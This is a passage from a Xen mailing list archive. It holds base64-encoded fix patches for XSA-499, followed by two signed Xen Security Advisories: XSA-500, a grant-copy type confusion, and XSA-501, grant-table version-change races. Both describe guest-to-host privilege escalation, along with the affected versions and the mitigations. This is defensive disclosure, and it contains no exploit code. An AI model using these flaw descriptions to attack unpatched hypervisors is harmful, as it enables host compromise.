dGl2ZSBzaWRlIGVmZmVjdCwgcGVybWlzc2lvbnMgYXJlIHRoZW4gY2hlY2tl
ZCBhdAp0aGUgc2FtZSBlYXJseSBwb2ludCB3aXRoIGFuZCB3aXRob3V0IEZs
YXNrLgoKVGhpcyBpcyBwYXJ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dXJjZV9wbHVnX2Nv
cmUoKTsKLSAgICBjYXNlIHN5c2N0bF9xdWVyeV9wYWdlX29mZmxpbmU6Ci0g
ICAgICAgIHJldHVybiBmbGFza19yZXNvdXJjZV91c2VfY29yZSgpOwotICAg
IGRlZmF1bHQ6Ci0gICAgICAgIHJldHVybiBhdmNfdW5rbm93bl9wZXJtaXNz
aW9uKCJwYWdlX29mZmxpbmUiLCBjbWQpOwotICAgIH0KLX0KLQogc3RhdGlj
IGlubGluZSBpbnQgY2ZfY2hlY2sgZmxhc2tfaHlwZnNfb3Aodm9pZCkKIHsK
ICAgICByZXR1cm4gZG9tYWluX2hhc194ZW4oY3VycmVudC0+ZG9tYWluLCBY
RU5fX0hZUEZTX09QKTsKQEAgLTE5OTIsNyArMTk5MSw2IEBAIHN0YXRpYyBj
b25zdCBzdHJ1Y3QgeHNtX29wcyBfX2luaXRjb25zdF8KICAgICAucmVzb3Vy
Y2Vfc2V0dXBfZ3NpID0gZmxhc2tfcmVzb3VyY2Vfc2V0dXBfZ3NpLAogICAg
IC5yZXNvdXJjZV9zZXR1cF9taXNjID0gZmxhc2tfcmVzb3VyY2Vfc2V0dXBf
bWlzYywKIAotICAgIC5wYWdlX29mZmxpbmUgPSBmbGFza19wYWdlX29mZmxp
bmUsCiAgICAgLmh5cGZzX29wID0gZmxhc2tfaHlwZnNfb3AsCiAgICAgLmh2
bV9wYXJhbSA9IGZsYXNrX2h2bV9wYXJhbSwKICAgICAuaHZtX3BhcmFtX2Fs
dHAybWh2bSA9IGZsYXNrX2h2bV9wYXJhbV9hbHRwMm1odm0sCg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvRmxhc2s6IGFkZCBwcmVsaW1pbmFyeSBjaGVjayBmb3IgWEVO
X1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4gYXZjX2N1cnJlbnRfaGFzX3Blcm0oU0VDSU5JVFNJRF9YRU4sIFNFQ0NM
QVNTX1hFTjIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBYRU4yX19QU1JfQ01UX09QLCBOVUxMKTsK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-5.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-5.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5yZWFkY29uc29sZSgpIGhvb2sKCkludGVn
cmF0ZSB0aGUgY2hlY2tpbmcgd2l0aCB4c21fc3lzY3RsKCksIG5vdyB0aGF0
IGl0IGhhcyB0aGUgZnVsbCBvcApzdHJ1Y3QgcGFzc2VkLiBBcyBhIHBvc2l0
aXZlIHNpZGUgZWZmZWN0LCBwZXJtaXNzaW9ucyBhcmUgdGhlbiBjaGVja2Vk
IGF0CnRoZSBzYW1lIGVhcmx5IHBvaW50IHdpdGggYW5kIHdpdGhvdXQgRmxh
c2suCgpUaGlzIGlzIHBhcnQgb2YgQ1ZFLTIwMjYtNjI0MjYgLyBYU0EtNDk5
LgoKU2lnbmVkLW9mZi1ieTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2Uu
Y29tPgpSZXZpZXdlZC1ieTogQW5kcmV3IENvb3BlciA8YW5kcmV3LmNvb3Bl
cjNAY2l0cml4LmNvbT4KQWNrZWQtQnk6IERhbmllbCBQLiBTbWl0aCA8ZHBz
bWl0aEBhcGVydHVzc29sdXRpb25zLmNvbT4KCi0tLSBhL3hlbi9jb21tb24v
c3lzY3RsLmMKKysrIGIveGVuL2NvbW1vbi9zeXNjdGwuYwpAQCAtNTksMTAg
KzU5LDYgQEAgbG9uZyBkb19zeXNjdGwoWEVOX0dVRVNUX0hBTkRMRV9QQVJB
TSh4ZQogICAgIHN3aXRjaCAoI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kY29uc29sZSwKICNlbmRpZgog
CiAgICAgLmV2dGNobl91bmJvdW5kICAgICAgICAgICAgICAgID0geHNtX2V2
dGNobl91bmJvdW5kLAotLS0gYS94ZW4veHNtL2ZsYXNrL2hvb2tzLmMKKysr
IGIveGVuL3hzbS9mbGFzay9ob29rcy5jCkBAIC04NzcsMTMgKzg3NywxOCBA
QCBzdGF0aWMgaW50IGNmX2NoZWNrIGZsYXNrX3N5c2N0bChjb25zdCBzCiAg
ICAgc3dpdGNoICggb3AtPmNtZCApCiAgICAgewogICAgIC8qIFRoZXNlIGhh
dmUgaW5kaXZpZHVhbCBYU00gaG9va3MgKi8KLSAgICBjYXNlIFhFTl9TWVND
VExfcmVhZGNvbnNvbGU6CiAgICAgY2FzZSBYRU5fU1lTQ1RMX3BhZ2Vfb2Zm
bGluZV9vcDoKICNpZmRlZiBDT05GSUdfWDg2CiAgICAgY2FzZSBYRU5fU1lT
Q1RMX2NwdV9ob3RwbHVnOgogI2VuZGlmCiAgICAgICAgIHJldHVybiAwOwog
CisgICAgY2FzZSBYRU5fU1lTQ1RMX3JlYWRjb25zb2xlOgorICAgICAgICBy
ZXR1cm4gZG9tYWluX2hhc194ZW4oY3VycmVudC0+ZG9tYWluLAorICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgWEVOX19SRUFEQ09OU09MRSB8Cisg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAob3AtPnUucmVhZGNvbnNv
bGUuY2xlYXIgPyBYRU5fX0NMRUFSQ09OU09MRQorICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDogMCkp
OworCiAgICAgY2FzZSBYRU5fU1lTQ1RMX3RidWZfb3A6CiAgICAgICAgIHJl
dHVybiBkb21haW5faGFzX3hlbihjdXJyZW50LT5kb21haW4sIFhFTl9fVEJV
RkNPTlRST0wpOwogCkBAIC05NDksMTYgKzk1NCw2IEBAIHN0YXRpYyBpbnQg
Y2ZfY2hlY2sgZmxhc2tfc3lzY3RsKGNvbnN0IHMKICAgICAgICAgcmV0dXJu
IGF2Y191bmtub3duX3Blcm1pc3Npb24oInN5c2N0bCIsIG9wLT5jbWQpOwog
ICAgIH0KIH0KLQotc3RhdGljIGludCBjZl9jaGVjayBmbGFza19yZWFkY29u
c29sZSh1aW50MzJfdCBjbGVhcikKLXsKLSAgICB1aW50MzJfdCBwZXJtcyA9
IFhFTl9fUkVBRENPTlNPTEU7Ci0KLSAgICBpZiAoIGNsZWFyICkKLSAgICAg
ICAgcGVybXMgfD0gWEVOX19DTEVBUkNPTlNPTEU7Ci0KLSAgICByZXR1cm4g
ZG9tYWluX2hhc194ZW4oY3VycmVudC0+ZG9tYWluLCBwZXJtcyk7Ci19CiAj
ZW5kaWYgLyogQ09ORklHX1NZU0NUTCAqLwogCiBzdGF0aWMgaW5saW5lIHVp
bnQzMl90IHJlc291cmNlX3RvX3Blcm0odWludDhfdCBhY2Nlc3MpCkBAIC0x
OTAzLDcgKzE4OTgsNiBAQCBzdGF0aWMgY29uc3Qgc3RydWN0IHhzbV9vcHMg
X19pbml0Y29uc3RfCiAgICAgLmRvbWN0bCA9IGZsYXNrX2RvbWN0bCwKICNp
ZmRlZiBDT05GSUdfU1lTQ1RMCiAgICAgLnN5c2N0bCA9IGZsYXNrX3N5c2N0
bCwKLSAgICAucmVhZGNvbnNvbGUgPSBmbGFza19yZWFkY29uc29sZSwKICNl
bmRpZgogCiAgICAgLmV2dGNobl91bmJvdW5kID0gZmxhc2tfZXZ0Y2huX3Vu
Ym91bmQsCg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-6.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-6.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5yZXNvdXJjZV97LHVufXBsdWdfY29yZSgp
IGhvb2tzCgpJbnRlZ3JhdG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zd2l0
Y2ggKCBvcCApCiAgICAgICAgIHsKICAgICAgICAgY2FzZSBYRU5fU1lTQ1RM
X0NQVV9IT1RQTFVHX09OTElORToKLSAgICAgICAgICAgIHBsdWcgPSB0cnVl
OwogICAgICAgICAgICAgZm4gPSBjcHVfdXBfaGVscGVyOwogICAgICAgICAg
ICAgaGNwdSA9IF9wKGNwdSk7CiAgICAgICAgICAgICBicmVhazsKIAogICAg
ICAgICBjYXNlIFhFTl9TWVNDVExfQ1BVX0hPVFBMVUdfT0ZGTElORToKLSAg
ICAgICAgICAgIHBsdWcgPSBmYWxzZTsKICAgICAgICAgICAgIGZuID0gY3B1
X2Rvd25faGVscGVyOwogICAgICAgICAgICAgaGNwdSA9IF9wKGNwdSk7CiAg
ICAgICAgICAgICBicmVhazsKQEAgLTE1MCw5ICsxNDcsOCBAQCBsb25nIGFy
Y2hfZG9fc3lzY3RsKAogICAgICAgICAgICAgaWYgKCBDT05GSUdfTlJfQ1BV
UyA8PSAxICkKICAgICAgICAgICAgICAgICAvKiBNaW1pYyBiZWhhdmlvciBv
ZiBzbXRfdXBfZG93bl9oZWxwZXIoKS4gKi8KICAgICAgICAgICAgICAgICBy
ZXR1cm4gMDsKLSAgICAgICAgICAgIHBsdWcgPSBvcCA9PSBYRU5fU1lTQ1RM
X0NQVV9IT1RQTFVHX1NNVF9FTkFCTEU7CiAgICAgICAgICAgICBmbiA9IHNt
dF91cF9kb3duX2hlbHBlcjsKLSAgICAgICAgICAgIGhjcHUgPSBfcChwbHVn
KTsKKyAgICAgICAgICAgIGhjcHUgPSBfcChvcCA9PSBYRU5fU1lTQ1RMX0NQ
VV9IT1RQTFVHX1NNVF9FTkFCTEUpOwogICAgICAgICAgICAgYnJlYWs7CiAK
ICAgICAgICAgZGVmYXVsdDoKQEAgLTE2MSwxMCArMTU3LDYgQEAgbG9uZyBh
cmNoX2RvX3N5c2N0bCgKICAgICAgICAgfQogCiAgICAgICAgIGlmICggIXJl
dCApCi0gICAgICAgICAgICByZ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dGF0aWMgaW50IGNmX2NoZWNrIGZsYXNrX3Jlc291cmNl
X3VucGx1Z19jb3JlKHZvaWQpCitzdGF0aWMgaW50IGZsYXNrX3Jlc291cmNl
X3VucGx1Z19jb3JlKHZvaWQpCiB7CiAgICAgcmV0dXJuIGF2Y19jdXJyZW50
X2hhc19wZXJtKFNFQ0lOSVRTSURfRE9NWEVOLCBTRUNDTEFTU19SRVNPVVJD
RSwgUkVTT1VSQ0VfX1VOUExVRywgTlVMTCk7CiB9CkBAIC0xOTQ4LDggKzE5
NjcsNiBAQCBzdGF0aWMgY29uc3Qgc3RydWN0IHhzbV9vcHMgX19pbml0Y29u
c3RfCiAgICAgLmlvbWVtX21hcHBpbmdfdnBjaSA9IGZsYXNrX2lvbWVtX21h
cHBpbmcsCiAgICAgLnBjaV9jb25maWdfcGVybWlzc2lvbiA9IGZsYXNrX3Bj
aV9jb25maWdfcGVybWlzc2lvbiwKIAotICAgIC5yZXNvdXJjZV9wbHVnX2Nv
cmUgPSBmbGFza19yZXNvdXJjZV9wbHVnX2NvcmUsCi0gICAgLnJlc291cmNl
X3VucGx1Z19jb3JlID0gZmxhc2tfcmVzb3VyY2VfdW5wbHVnX2NvcmUsCiAg
ICAgLnJlc291cmNlX3BsdWdfcGNpID0gZmxhc2tfcmVzb3VyY2VfcGx1Z19w
Y2ksCiAgICAgLnJlc291cmNlX3VucGx1Z19wY2kgPSBmbGFza19yZXNvdXJj
ZV91bnBsdWdfcGNpLAogICAgIC5yZXNvdXJjZV9zZXR1cF9wY2kgPSBmbGFz
a19yZXNvdXJjZV9zZXR1cF9wY2ksCg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-7.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-7.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5wYWdlX29mZmxpbmUoKSBob29rCgpJbn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ID0gZmxhc2tfcmVzb3VyY2Vfc2V0dXBf
Z3NpLAogICAgIC5yZXNvdXJjZV9zZXR1cF9taXNjID0gZmxhc2tfcmVzb3Vy
Y2Vfc2V0dXBfbWlzYywKIAotI2lmZGVmIENPTkZJR19TWVNDVEwKLSAgICAu
cGFnZV9vZmZsaW5lID0gZmxhc2tfcGFnZV9vZmZsaW5lLAotI2VuZGlmCiAg
ICAgLmh5cGZzX29wID0gZmxhc2tfaHlwZnNfb3AsCiAgICAgLmh2bV9wYXJh
bSA9IGZsYXNrX2h2bV9wYXJhbSwKICAgICAuaHZtX3BhcmFtX2FsdHAybWh2
bSA9IGZsYXNrX2h2bV9wYXJhbV9hbHRwMm1odm0sCg==

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:05:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:05:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372479.1619939 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYf-0001zm-DP; Tue, 28 Jul 2026 12:05:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372479.1619939; Tue, 28 Jul 2026 12:05:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYe-0001x4-Mf; Tue, 28 Jul 2026 12:05:16 +0000
Received: by outflank-mailman (input) for mailman id 1372479;
 Tue, 28 Jul 2026 12:05:14 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYb-0001KN-Fw; Tue, 28 Jul 2026 12:05:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYa-00EbnI-Ro; Tue, 28 Jul 2026 14:05:12 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689af5-bab6-0a2a0a5309dd-0a2a4507dc4c-28
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:12 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689af7-b4ea-0a2a45070019-6882d725a2aa-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:12 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYW-00DP9S-0I;
 Tue, 28 Jul 2026 12:05:07 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYV-003DkN-2W;
 Tue, 28 Jul 2026 12:05:07 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 500 v2 (CVE-2026-62428) - grant-table: type
 confusion in grant-copy
Message-Id: <E1wogYV-003DkN-2W@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:07 +0000
X-purgate-ID: tlsNG-ef75cf/1785240312-370DDAE4-1BAE9ED8/0/0
X-purgate-type: clean
X-purgate-size: 9147

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-62428 / XSA-500
                               version 2

               grant-table: type confusion in grant-copy

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

When grant-copy operations are processed, the respective grant may or may
not already be in use by another operation (a mapping or another copy).
For all copy operations the referenced guest frame is looked up.  When
another operation is already active for the grant (the grant is "pinned"),
what is being supplied back to actually carry out permission checks and
copy operation may not be consistent: The permission check may be carried
out on a page different from the one involved in the copy.

IMPACT
======

An unprivileged guest may be able to elevate its privileges to that of the
host.  Information leaks and Denial of Service (DoS) are possible as well.

VULNERABLE SYSTEMS
==================

All Xen versions from 4.2 onwards are vulnerable.  Xen versions 4.1 and
earlier are not vulnerable.

Xen versions 4.13 and newer offer a way to build Xen without grant table
support.  Such hypervisors (CONFIG_GRANT_TABLE turned off) are not
vulnerable.

MITIGATION
==========

There is no known mitigation.

CREDITS
=======

This issue was discovered by Roman S.

RESOLUTION
==========

Applying the appropriate attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa500.patch           xen-unstable - Xen 4.18.x
xsa500-4.17.patch      Xen 4.17.x

$ sha256sum xsa500*
e09e06ef5d4044b4c6104ae83d5e509d45495d7bab1da73f2beb7a916d24f462  xsa500.patch
5fabb02fd4cc62f58a07a8322883b04c638832f65fdf0216a0efde6229d1fd73  xsa500-4.17.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomrEMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZ4B4H/1dGUPMt2yREv0C6uHyxT50MoAwaZ01A6Dwm2CNm
2eIjsJGeF3mtlw0T4c6hCmF7fcULFJMcPkJi09TS38ADIOBpivgP+tRkRa+ZRPtG
E6vpRtlHmD57WVPWRfTM0uk6UL/CCyvlUILR8A9lu7tF5PFef3Dzeiqpuh/rMNPx
DmEcn3Mw8DpKvkoMIVJd1TgAtFX0KwWwByxClUIV84K2SBvcNxVoiw2fkKkx1HRa
lB7sVEkKliUyIN/uWmh1VcLshQuulHYNcnkq7ErCEIQqo30ay6WER6W5TS0cfh/F
OUSQWlWzkht2GY0pRXp5UQaBFc8UCsOnVty8DhvLrCyllSk=
=gRtn
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa500.patch"
Content-Disposition: attachment; filename="xsa500.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBnbnR0YWI6IGNoZWNrIHZhbHVlcyBhZ2FpbnN0IGFjdGl2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7CisgICAg
ICAgICAgICAqcGFnZSA9IE5VTEw7CisgICAgICAgICAgICByYyA9IEdOVFNU
X2dlbmVyYWxfZXJyb3I7CisgICAgICAgICAgICBnb3RvIHVubG9ja19vdXRf
Y2xlYXI7CisgICAgICAgIH0KKyAgICAgICAgZWxzZQorICAgICAgICAgICAg
QVNTRVJUKGFjdC0+ZG9taWQgPT0gbGRvbSk7CiAgICAgfQogICAgIGVsc2UK
ICAgICB7Cg==

--=separator
Content-Type: application/octet-stream; name="xsa500-4.17.patch"
Content-Disposition: attachment; filename="xsa500-4.17.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBnbnR0YWI6IGNoZWNrIHZhbHVlcyBhZ2FpbnN0IGFjdGl2ZSBlbnRyeSB3
aGVuIGNvcHlpbmcgYW4KIGFscmVhZHktcGlubmVkIG9uZQoKYWNxdWlyZV9n
cmFudF9mb3JfY29weSgpIHBhc3NlcyB0byBpdHMgY2FsbGVyIGJvdGggYW4g
TUZOIGFuZCBhIHN0cnVjdApwYWdlX2luZm8gKi4gVGhlIHR3byByZWFsbHkg
bmVlZCB0byBiZSBpbiBzeW5jIGZvciB0aGUgZ2V0X3BhZ2UoKQp1bmRlcmx5
aW5nIGdldF9wYWdlZF9mcmFtZSgpIGFuZCBnZXRfcGFnZV90eXBlKCkgKGJv
dGggYWN0aW5nIG9uIHRoZQpwYXNzZWQgYmFjayBzdHJ1Y3QgcGFnZV9pbmZv
ICopIGFuZCB0aGUgbWFwX2RvbWFpbl9wYWdlKCkgKGFjdGluZyBvbiB0aGUK
cGFzc2VkIGJhY2sgTUZOKSB0byBhY2hpZXZlIHRoZSBpbnRlbmRlZCBlZmZl
Y3QuCgpHbyBmdXJ0aGVyIGFuZCBhbHNvIGNoZWNrIG90aGVyIHByb3BlcnRp
ZXM6IEdURl90cmFuc2l0aXZlIC8gR1RGX3N1Yl9wYWdlCm1heSBoYXZlI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LCBncmFudF9tZm4pIHx8CisgICAgICAgICAgICAgICAgICBh
Y3QtPnRyYW5zX2RvbWFpbiAhPSB0ZCB8fAorICAgICAgICAgICAgICAgICAg
YWN0LT50cmFuc19ncmVmICE9IHRyYW5zX2dyZWYgfHwKKyAgICAgICAgICAg
ICAgICAgIChhY3QtPmlzX3N1Yl9wYWdlICYmCisgICAgICAgICAgICAgICAg
ICAgKCFpc19zdWJfcGFnZSB8fAorICAgICAgICAgICAgICAgICAgICBhY3Qt
PnN0YXJ0ICE9IHRyYW5zX3BhZ2Vfb2ZmIHx8CisgICAgICAgICAgICAgICAg
ICAgIGFjdC0+bGVuZ3RoICE9IHRyYW5zX2xlbmd0aCkpICkKKyAgICAgICAg
eworICAgICAgICAgICAgcHV0X3BhZ2UoKnBhZ2UpOworICAgICAgICAgICAg
KnBhZ2UgPSBOVUxMOworICAgICAgICAgICAgcmMgPSBHTlRTVF9nZW5lcmFs
X2Vycm9yOworICAgICAgICAgICAgZ290byB1bmxvY2tfb3V0X2NsZWFyOwor
ICAgICAgICB9CisgICAgICAgIGVsc2UKKyAgICAgICAgICAgIEFTU0VSVChh
Y3QtPmRvbWlkID09IGxkb20pOwogICAgIH0KICAgICBlbHNlCiAgICAgewo=

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:05:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:05:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372499.1619984 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYs-0003xm-Cd; Tue, 28 Jul 2026 12:05:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372499.1619984; Tue, 28 Jul 2026 12:05:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYp-0003s3-Rf; Tue, 28 Jul 2026 12:05:27 +0000
Received: by outflank-mailman (input) for mailman id 1372499;
 Tue, 28 Jul 2026 12:05:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYg-0002Bt-33; Tue, 28 Jul 2026 12:05:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYf-00BEKG-DM; Tue, 28 Jul 2026 14:05:17 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689aee-2eae-0a2a0a5409dd-0a2a4509d8e2-48
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:17 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689afb-be1a-0a2a45090019-6882d725de4e-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:16 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYZ-00DPA2-0I;
 Tue, 28 Jul 2026 12:05:10 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYY-003Dm1-2W;
 Tue, 28 Jul 2026 12:05:10 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 501 v4 (CVE-2026-62435,CVE-2026-62436) -
 grant-table: version change racing with other operations
Message-Id: <E1wogYY-003Dm1-2W@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:10 +0000
X-purgate-ID: tlsNG-bad1c0/1785240316-3A2C4034-0750D1FE/0/0
X-purgate-type: clean
X-purgate-size: 49447

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

     Xen Security Advisory CVE-2026-62435,CVE-2026-62436 / XSA-501
                               version 4

       grant-table: version change racing with other operations

UPDATES IN VERSION 4
====================

Properly sync backports with staging patch (there was no functional issue,
just a code arrangement one).

Public release.

ISSUE DESCRIPTION
=================

With the introduction of Grant Table v2 came the requirement to be able to
switch between versions.  Switching from v1 to v2 reduces the number of
valid grant references, as a bigger shared entry structure is then needed
while the shared table doesn't change size.  Switching from v2 back to v1
the status frames, which are separate in v2, go away.

Code holding, but intermediately dropping and then re-acquiring the grant
table lock, sometimes wrongly assumes that said properties wouldn't change
across the window in time where the lock is not being held.

The v1 -> v2 issue is CVE-2026-62435.

The v2 -> v1 issue is CVE-2026-62436.

IMPACT
======

An unprivileged guest may be able to elevate its privileges to that of the
host.  Information leaks and Denial of Service (DoS) are possible as well.

VULNERABLE SYSTEMS
==================

All Xen versions from 4.0 onwards are vulnerable.  Xen versions 3.4 and
earlier are not vulnerable.

Only x86 guests permitted to use grant table version 2 interfaces can
leverage this vulnerability.  On Arm, grant table v2 use is explicitly
unsupported.

Only multi-vCPU guests can leverage this vulnerability.

Xen versions 4.13 and newer offer a way to build Xen without grant table
support.  Such hypervisors (CONFIG_GRANT_TABLE turned off) are not
vulnerable.

MITIGATION
==========

Using the "gnttab=max-ver:1" hypervisor command line option will avoid
the vulnerability.

Using the "max_grant_version=1" guest configuration option for guests will
also avoid the vulnerability.

CREDITS
=======

This issue was discovered by Mark Esler.

RESOLUTION
==========

Applying the appropriate attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa501.patch           xen-unstable - Xen 4.19.x
xsa501-4.18.patch      Xen 4.18.x
